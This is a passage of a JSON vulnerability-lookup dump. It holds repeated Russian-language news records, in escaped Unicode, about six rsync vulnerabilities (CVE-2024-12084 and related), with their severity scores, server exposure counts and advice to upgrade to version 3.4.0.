\u0440\u0430\u0431\u043e\u0442\u0430\u044e\u0442 \u043d\u0430 TCP-\u043f\u043e\u0440\u0442\u0435 \u043f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e 873, \u0430 21 239 \u043f\u0440\u043e\u0441\u043b\u0443\u0448\u0438\u0432\u0430\u044e\u0442 \u043f\u043e\u0440\u0442 8873, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043e\u0431\u044b\u0447\u043d\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u0434\u043b\u044f Rsync \u0447\u0435\u0440\u0435\u0437 \u0442\u0443\u043d\u043d\u0435\u043b\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435 SSH.\n\n\u041d\u0435\u0441\u043c\u043e\u0442\u0440\u044f \u043d\u0430 \u0442\u043e, \u0447\u0442\u043e \u043d\u0435\u044f\u0441\u043d\u043e \u043f\u043e\u0434\u0432\u0435\u0440\u0436\u0435\u043d\u044b \u043b\u0438 \u043e\u043d\u0438 \u043d\u0435\u0434\u0430\u0432\u043d\u043e \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043d\u044b\u043c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044f\u043c, \u0432\u0441\u0435\u043c \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442\u0441\u044f\u00a0\u00a0\u043a\u0430\u043a \u043c\u043e\u0436\u043d\u043e \u0441\u043a\u043e\u0440\u0435\u0435\u00a0\u043e\u0431\u043d\u043e\u0432\u0438\u0442\u044c\u0441\u044f \u0434\u043e \u0432\u0435\u0440\u0441\u0438\u0438 3.4.0 \u0438\u043b\u0438 \u043d\u0430\u0441\u0442\u0440\u043e\u0438\u0442\u044c \u0434\u0435\u043c\u043e\u043d \u043d\u0430 \u0437\u0430\u043f\u0440\u043e\u0441 \u0443\u0447\u0435\u0442\u043d\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445, \u0430 \u0442\u0430\u043a\u0436\u0435 \u0437\u0430\u0431\u043b\u043e\u043a\u0438\u0440\u043e\u0432\u0430\u0442\u044c TCP-\u043f\u043e\u0440\u0442 873 \u043f\u043e \u043f\u0435\u0440\u0438\u043c\u0435\u0442\u0440\u0443, \u0447\u0442\u043e\u0431\u044b \u0441\u0435\u0440\u0432\u0435\u0440\u044b \u043d\u0435 \u0431\u044b\u043b\u0438 \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e.", "creation_timestamp": "2025-01-16T15:20:27.000000Z"}, {"uuid": "62de6b40-0999-44c3-b003-29a339353d8f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12747", "type": "exploited", "source": "https://t.me/S_E_Reborn/5357", "content": "\u0411\u043e\u043b\u0435\u0435 660 000 \u0441\u0435\u0440\u0432\u0435\u0440\u043e\u0432 Rsync \u043f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0443\u044f\u0437\u0432\u0438\u043c\u044b \u0434\u043b\u044f \u0448\u0435\u0441\u0442\u0438 \u043d\u043e\u0432\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439, \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0443\u044e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u0431\u0443\u0444\u0435\u0440\u0430 \u043a\u0443\u0447\u0438, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043a\u043e\u0434 \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u0430\u0445.\n\nRsync - \u044d\u0442\u043e \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442 \u0441 \u043e\u0442\u043a\u0440\u044b\u0442\u044b\u043c \u0438\u0441\u0445\u043e\u0434\u043d\u044b\u043c \u043a\u043e\u0434\u043e\u043c \u0434\u043b\u044f \u0441\u0438\u043d\u0445\u0440\u043e\u043d\u0438\u0437\u0430\u0446\u0438\u0438 \u0444\u0430\u0439\u043b\u043e\u0432 \u0438 \u043f\u0435\u0440\u0435\u0434\u0430\u0447\u0438 \u0434\u0430\u043d\u043d\u044b\u0445, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0448\u0438\u0440\u043e\u043a\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0430\u0445 \u0440\u0435\u0437\u0435\u0440\u0432\u043d\u043e\u0433\u043e \u043a\u043e\u043f\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f (Rclone, DeltaCopy, ChronoSync), \u043e\u0431\u0449\u0435\u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b\u0445 \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u044f\u0445 \u0434\u043b\u044f \u0440\u0430\u0441\u043f\u0440\u043e\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u044f \u0444\u0430\u0439\u043b\u043e\u0432, \u0430 \u0442\u0430\u043a\u0436\u0435 \u0432 \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0438 \u043e\u0431\u043b\u0430\u043a\u0430\u043c\u0438 \u0438 \u0441\u0435\u0440\u0432\u0435\u0440\u0430\u043c\u0438.\n\n\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 Rsync \u0431\u044b\u043b\u0438 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u044b Google Cloud \u0438 \u043d\u0435\u0437\u0430\u0432\u0438\u0441\u0438\u043c\u044b\u043c\u0438 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c\u0438. \u041e\u043d\u0438 \u043c\u043e\u0433\u0443\u0442 \u0431\u044b\u0442\u044c \u043e\u0431\u044a\u0435\u0434\u0438\u043d\u0435\u043d\u044b \u0434\u043b\u044f \u0440\u0435\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0438 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0432\u0437\u043b\u043e\u043c\u0430 \u0441\u0438\u0441\u0442\u0435\u043c.\n\n\u0414\u043b\u044f \u043d\u0430\u0438\u0431\u043e\u043b\u0435\u0435 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 CVE \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u043f\u043e\u0442\u0440\u0435\u0431\u0443\u0435\u0442\u0441\u044f \u043b\u0438\u0448\u044c \u0430\u043d\u043e\u043d\u0438\u043c\u043d\u044b\u0439 \u0434\u043e\u0441\u0442\u0443\u043f \u043d\u0430 \u0447\u0442\u0435\u043d\u0438\u0435 \u043a \u0441\u0435\u0440\u0432\u0435\u0440\u0443 rsync, \u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, \u043a \u043f\u0443\u0431\u043b\u0438\u0447\u043d\u043e\u043c\u0443 \u0437\u0435\u0440\u043a\u0430\u043b\u0443, \u0447\u0442\u043e\u0431\u044b \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u0434 \u043d\u0430 \u043c\u0430\u0448\u0438\u043d\u0435, \u043d\u0430 \u043a\u043e\u0442\u043e\u0440\u043e\u0439 \u0437\u0430\u043f\u0443\u0449\u0435\u043d \u0441\u0435\u0440\u0432\u0435\u0440.\n\n\u041a\u0440\u043e\u043c\u0435 \u0442\u043e\u0433\u043e, \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u043c\u043e\u0433\u0443\u0442 \u0432\u0437\u044f\u0442\u044c \u043f\u043e\u0434 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0439 \u0441\u0435\u0440\u0432\u0435\u0440 \u0438 \u0447\u0438\u0442\u0430\u0442\u044c/\u0437\u0430\u043f\u0438\u0441\u044b\u0432\u0430\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0435 \u0444\u0430\u0439\u043b\u044b \u043b\u044e\u0431\u043e\u0433\u043e \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u043d\u043e\u0433\u043e \u043a\u043b\u0438\u0435\u043d\u0442\u0430.\n\n\u041a\u043e\u043d\u0444\u0438\u0434\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435, \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u043a\u043b\u044e\u0447\u0438 SSH, \u043c\u043e\u0433\u0443\u0442 \u0431\u044b\u0442\u044c \u0438\u0437\u0432\u043b\u0435\u0447\u0435\u043d\u044b, \u0430 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0439 \u043a\u043e\u0434 \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d \u043f\u0443\u0442\u0435\u043c \u043f\u0435\u0440\u0435\u0437\u0430\u043f\u0438\u0441\u0438 \u0444\u0430\u0439\u043b\u043e\u0432, \u0442\u0430\u043a\u0438\u0445 \u043a\u0430\u043a ~/.bashrc \u0438\u043b\u0438 ~/.popt.\n\n\u0421\u0440\u0435\u0434\u0438 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043d\u044b\u0445 \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043a\u043e\u0432:\n\n- \u041f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u0431\u0443\u0444\u0435\u0440\u0430 \u043a\u0443\u0447\u0438 (CVE-2024-12084, CVSS: 9.8): \u0432\u043e\u0437\u043d\u0438\u043a\u0430\u0435\u0442 \u0438\u0437-\u0437\u0430 \u043d\u0435\u043f\u0440\u0430\u0432\u0438\u043b\u044c\u043d\u043e\u0439 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0438 \u0434\u043b\u0438\u043d\u044b \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c\u043d\u044b\u0445 \u0441\u0443\u043c\u043c \u0432 \u0434\u0435\u043c\u043e\u043d\u0435 Rsync, \u0447\u0442\u043e \u043f\u0440\u0438\u0432\u043e\u0434\u0438\u0442 \u043a \u0437\u0430\u043f\u0438\u0441\u0438 \u0437\u0430 \u043f\u0440\u0435\u0434\u0435\u043b\u0430\u043c\u0438 \u0431\u0443\u0444\u0435\u0440\u0430. \u0417\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 \u0432\u0435\u0440\u0441\u0438\u0438 \u043e\u0442 3.2.7 \u0434\u043e < 3.4.0 \u0438 \u043c\u043e\u0436\u0435\u0442 \u043f\u0440\u0438\u0432\u0435\u0441\u0442\u0438 \u043a RCE.\n\n- \u0423\u0442\u0435\u0447\u043a\u0430 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438 (CVE-2024-12085, CVSS: 7.5): \u0434\u043e\u043f\u0443\u0441\u043a\u0430\u0435\u0442 \u0443\u0442\u0435\u0447\u043a\u0443 \u043d\u0435\u0438\u043d\u0438\u0446\u0438\u0430\u043b\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445 \u0441\u0442\u0435\u043a\u0430 \u043f\u0440\u0438 \u0441\u0440\u0430\u0432\u043d\u0435\u043d\u0438\u0438 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c\u043d\u044b\u0445 \u0441\u0443\u043c\u043c \u0444\u0430\u0439\u043b\u043e\u0432. \u0417\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u043c\u043e\u0433\u0443\u0442 \u043c\u0430\u043d\u0438\u043f\u0443\u043b\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0434\u043b\u0438\u043d\u043e\u0439 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c\u043d\u043e\u0439 \u0441\u0443\u043c\u043c\u044b, \u0447\u0442\u043e\u0431\u044b \u0435\u0435 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u043e\u0432\u0430\u0442\u044c. \u0417\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 \u0432\u0441\u0435 \u0432\u0435\u0440\u0441\u0438\u0438 \u043d\u0438\u0436\u0435 3.4.0.\n\n- Server Leaks Arbitrary Client Files (CVE-2024-12086, CVSS: 6.1): \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u043c\u0443 \u0441\u0435\u0440\u0432\u0435\u0440\u0443 \u0441\u0447\u0438\u0442\u044b\u0432\u0430\u0442\u044c \u0438 \u0432\u043e\u0441\u0441\u0442\u0430\u043d\u0430\u0432\u043b\u0438\u0432\u0430\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0435 \u043a\u043b\u0438\u0435\u043d\u0442\u0441\u043a\u0438\u0435 \u0444\u0430\u0439\u043b\u044b \u043f\u043e\u0431\u0430\u0439\u0442\u043d\u043e, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044f \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u043d\u044b\u0435 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c\u043d\u043e\u0439 \u0441\u0443\u043c\u043c\u044b \u0432\u043e \u0432\u0440\u0435\u043c\u044f \u043f\u0435\u0440\u0435\u0434\u0430\u0447\u0438 \u0444\u0430\u0439\u043b\u043e\u0432. \u0423\u044f\u0437\u0432\u0438\u043c\u044b \u0432\u0441\u0435 \u0432\u0435\u0440\u0441\u0438\u0438 \u043d\u0438\u0436\u0435 3.4.0.\n\n- \u041e\u0431\u0445\u043e\u0434 \u043f\u0443\u0442\u0438 (CVE-2024-12087, CVSS: 6.5): \u0432\u043e\u0437\u043d\u0438\u043a\u0430\u0435\u0442 \u0438\u0437-\u0437\u0430 \u043d\u0435\u0430\u0434\u0435\u043a\u0432\u0430\u0442\u043d\u043e\u0439 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u0441\u0438\u043c\u0432\u043e\u043b\u0438\u0447\u0435\u0441\u043a\u043e\u0439 \u0441\u0441\u044b\u043b\u043a\u0438 \u043f\u0440\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0438 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u0430 --inc-recursive. \u0412\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0435 \u0441\u0435\u0440\u0432\u0435\u0440\u044b \u043c\u043e\u0433\u0443\u0442 \u0437\u0430\u043f\u0438\u0441\u044b\u0432\u0430\u0442\u044c \u0444\u0430\u0439\u043b\u044b \u0437\u0430 \u043f\u0440\u0435\u0434\u0435\u043b\u0430\u043c\u0438 \u043f\u0440\u0435\u0434\u043f\u043e\u043b\u0430\u0433\u0430\u0435\u043c\u044b\u0445 \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u043e\u0432 \u043d\u0430 \u043a\u043b\u0438\u0435\u043d\u0442\u0435. \u0412\u0441\u0435 \u0432\u0435\u0440\u0441\u0438\u0438 \u043d\u0438\u0436\u0435 3.4.0 \u0443\u044f\u0437\u0432\u0438\u043c\u044b.\n\n- \u041e\u0431\u0445\u043e\u0434 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u0430 --safe-links (CVE-2024-12088, CVSS: 6.5): \u0432\u043e\u0437\u043d\u0438\u043a\u0430\u0435\u0442, \u043a\u043e\u0433\u0434\u0430 Rsync \u043d\u0435 \u043c\u043e\u0436\u0435\u0442 \u0434\u043e\u043b\u0436\u043d\u044b\u043c \u043e\u0431\u0440\u0430\u0437\u043e\u043c \u043f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c \u043d\u0430\u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f \u0441\u0438\u043c\u0432\u043e\u043b\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u0441\u0441\u044b\u043b\u043e\u043a, \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u0449\u0438\u0445 \u0434\u0440\u0443\u0433\u0438\u0435 \u0441\u0441\u044b\u043b\u043a\u0438. \u042d\u0442\u043e \u043f\u0440\u0438\u0432\u043e\u0434\u0438\u0442 \u043a \u043e\u0431\u0445\u043e\u0434\u0443 \u043f\u0443\u0442\u0438 \u0438 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0439 \u0437\u0430\u043f\u0438\u0441\u0438 \u0444\u0430\u0439\u043b\u043e\u0432 \u0437\u0430 \u043f\u0440\u0435\u0434\u0435\u043b\u0430\u043c\u0438 \u0443\u043a\u0430\u0437\u0430\u043d\u043d\u044b\u0445 \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u043e\u0432. \u0417\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u044e\u0442\u0441\u044f \u0432\u0441\u0435 \u0432\u0435\u0440\u0441\u0438\u0438 \u043d\u0438\u0436\u0435 3.4.0.\n\n- \u0421\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u0435 \u0433\u043e\u043d\u043a\u0438 (CVE-2024-12747, CVSS: 5.6): \u043e\u0431\u0443\u0441\u043b\u043e\u0432\u043b\u0435\u043d\u0430 \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u0435\u043c \u0433\u043e\u043d\u043a\u0438 \u043f\u0440\u0438 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0435 \u0441\u0438\u043c\u0432\u043e\u043b\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u0441\u0441\u044b\u043b\u043e\u043a. \u042d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f \u043c\u043e\u0436\u0435\u0442 \u043f\u043e\u0437\u0432\u043e\u043b\u0438\u0442\u044c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u043a\u043e\u043d\u0444\u0438\u0434\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u043c \u0444\u0430\u0439\u043b\u0430\u043c \u0438 \u043f\u043e\u0432\u044b\u0441\u0438\u0442\u044c \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0438. \u0423\u044f\u0437\u0432\u0438\u043c\u044b \u0432\u0441\u0435 \u0432\u0435\u0440\u0441\u0438\u0438 \u043d\u0438\u0436\u0435 3.4.0.\n\nCERT/C \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0430 \u0431\u044e\u043b\u043b\u0435\u0442\u0435\u043d\u044c \u0441 \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0436\u0434\u0435\u043d\u0438\u0435\u043c \u043e\u0431 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044f\u0445 Rsync, \u043e\u0442\u043c\u0435\u0442\u0438\u0432 Red Hat, Arch, Gentoo, Ubuntu NixOS, AlmaLinux OS Foundation \u0438 Triton Data Center \u043a\u0430\u043a \u0437\u0430\u0442\u0440\u043e\u043d\u0443\u0442\u044b\u0435.\n\n\u041e\u0434\u043d\u0430\u043a\u043e \u043c\u043d\u043e\u0433\u0438\u0435 \u0434\u0440\u0443\u0433\u0438\u0435 \u043f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u043f\u043e\u0434\u0432\u0435\u0440\u0436\u0435\u043d\u043d\u044b\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043f\u0440\u043e\u0435\u043a\u0442\u044b \u0438 \u043f\u043e\u0441\u0442\u0430\u0432\u0449\u0438\u043a\u0438 \u043f\u043e\u043a\u0430 \u043d\u0435 \u043d\u0438\u043a\u0430\u043a \u043e\u0442\u0440\u0435\u0430\u0433\u0438\u0440\u043e\u0432\u0430\u043b\u0438.\n\n\u0412 \u0441\u0432\u043e\u0435\u043c \u0431\u044e\u043b\u043b\u0435\u0442\u0435\u043d\u0435 \u043f\u043e CVE-2024-12084 RedHat \u043e\u0442\u043c\u0435\u0442\u0438\u043b\u0430, \u0447\u0442\u043e \u043f\u0440\u0430\u043a\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u043c\u0435\u0440 \u043f\u043e \u0441\u043c\u044f\u0433\u0447\u0435\u043d\u0438\u044e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043d\u0435 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u0435\u0442, \u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043c\u043e\u0436\u043d\u043e \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0432 \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u0438 Rsync \u043f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e.\n\n\u0412 \u043f\u0440\u043e\u0442\u0438\u0432\u043d\u043e\u043c \u0441\u043b\u0443\u0447\u0430\u0435 \u043f\u043e\u043d\u0430\u0434\u043e\u0431\u044f\u0442\u0441\u044f \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0435 \u0443\u0447\u0435\u0442\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435 \u0434\u043b\u044f \u0441\u0435\u0440\u0432\u0435\u0440\u043e\u0432 \u0441 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0435\u0439.\n\n\u0421\u043e\u0433\u043b\u0430\u0441\u043d\u043e Shodan, \u0432 \u0441\u0435\u0442\u0438 \u0434\u0435\u0442\u0435\u043a\u0442\u0438\u0442\u0441\u044f \u0431\u043e\u043b\u0435\u0435 660 000 IP-\u0430\u0434\u0440\u0435\u0441\u043e\u0432 \u0441 \u043e\u0442\u043a\u0440\u044b\u0442\u044b\u043c\u0438 \u0441\u0435\u0440\u0432\u0435\u0440\u0430\u043c\u0438 Rsync. \u0411\u043e\u043b\u044c\u0448\u0438\u043d\u0441\u0442\u0432\u043e - \u0432 \u041a\u0438\u0442\u0430\u0435 (521 000), \u0434\u0430\u043b\u0435\u0435 \u0441\u043b\u0435\u0434\u0443\u044e\u0442 \u0421\u0428\u0410, \u0413\u043e\u043d\u043a\u043e\u043d\u0433, \u041a\u043e\u0440\u0435\u044f, \u0420\u043e\u0441\u0441\u0438\u044f \u0438 \u0413\u0435\u0440\u043c\u0430\u043d\u0438\u044f, \u043d\u043e \u0438\u0445 \u0447\u0438\u0441\u043b\u043e \u0437\u043d\u0430\u0447\u0438\u0442\u0435\u043b\u044c\u043d\u043e \u043c\u0435\u043d\u044c\u0448\u0435.\n\n\u0418\u0437 \u044d\u0442\u0438\u0445 \u043e\u0442\u043a\u0440\u044b\u0442\u044b\u0445 \u0441\u0435\u0440\u0432\u0435\u0440\u043e\u0432 Rsync 306 517 \u0440\u0430\u0431\u043e\u0442\u0430\u044e\u0442 \u043d\u0430 TCP-\u043f\u043e\u0440\u0442\u0435 \u043f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e 873, \u0430 21 239 \u043f\u0440\u043e\u0441\u043b\u0443\u0448\u0438\u0432\u0430\u044e\u0442 \u043f\u043e\u0440\u0442 8873, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043e\u0431\u044b\u0447\u043d\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u0434\u043b\u044f Rsync \u0447\u0435\u0440\u0435\u0437 \u0442\u0443\u043d\u043d\u0435\u043b\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435 SSH.\n\n\u041d\u0435\u0441\u043c\u043e\u0442\u0440\u044f \u043d\u0430 \u0442\u043e, \u0447\u0442\u043e \u043d\u0435\u044f\u0441\u043d\u043e \u043f\u043e\u0434\u0432\u0435\u0440\u0436\u0435\u043d\u044b \u043b\u0438 \u043e\u043d\u0438 \u043d\u0435\u0434\u0430\u0432\u043d\u043e \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043d\u044b\u043c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044f\u043c, \u0432\u0441\u0435\u043c \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442\u0441\u044f\u00a0\u00a0\u043a\u0430\u043a \u043c\u043e\u0436\u043d\u043e \u0441\u043a\u043e\u0440\u0435\u0435\u00a0\u043e\u0431\u043d\u043e\u0432\u0438\u0442\u044c\u0441\u044f \u0434\u043e \u0432\u0435\u0440\u0441\u0438\u0438 3.4.0 \u0438\u043b\u0438 \u043d\u0430\u0441\u0442\u0440\u043e\u0438\u0442\u044c \u0434\u0435\u043c\u043e\u043d \u043d\u0430 \u0437\u0430\u043f\u0440\u043e\u0441 \u0443\u0447\u0435\u0442\u043d\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445, \u0430 \u0442\u0430\u043a\u0436\u0435 \u0437\u0430\u0431\u043b\u043e\u043a\u0438\u0440\u043e\u0432\u0430\u0442\u044c TCP-\u043f\u043e\u0440\u0442 873 \u043f\u043e \u043f\u0435\u0440\u0438\u043c\u0435\u0442\u0440\u0443, \u0447\u0442\u043e\u0431\u044b \u0441\u0435\u0440\u0432\u0435\u0440\u044b \u043d\u0435 \u0431\u044b\u043b\u0438 \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e.", "creation_timestamp": "2025-01-16T15:20:27.000000Z"}, {"uuid": "9cd9af8c-b4b4-41d1-974b-25c653e40b20", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12084", "type": "exploited", "source": "https://t.me/S_E_Reborn/5357", "content": "\u0411\u043e\u043b\u0435\u0435 660 000 \u0441\u0435\u0440\u0432\u0435\u0440\u043e\u0432 Rsync \u043f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0443\u044f\u0437\u0432\u0438\u043c\u044b \u0434\u043b\u044f \u0448\u0435\u0441\u0442\u0438 \u043d\u043e\u0432\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439, \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0443\u044e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u0431\u0443\u0444\u0435\u0440\u0430 \u043a\u0443\u0447\u0438, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043a\u043e\u0434 \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u0430\u0445.\n\nRsync - \u044d\u0442\u043e \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442 \u0441 \u043e\u0442\u043a\u0440\u044b\u0442\u044b\u043c \u0438\u0441\u0445\u043e\u0434\u043d\u044b\u043c \u043a\u043e\u0434\u043e\u043c \u0434\u043b\u044f \u0441\u0438\u043d\u0445\u0440\u043e\u043d\u0438\u0437\u0430\u0446\u0438\u0438 \u0444\u0430\u0439\u043b\u043e\u0432 \u0438 \u043f\u0435\u0440\u0435\u0434\u0430\u0447\u0438 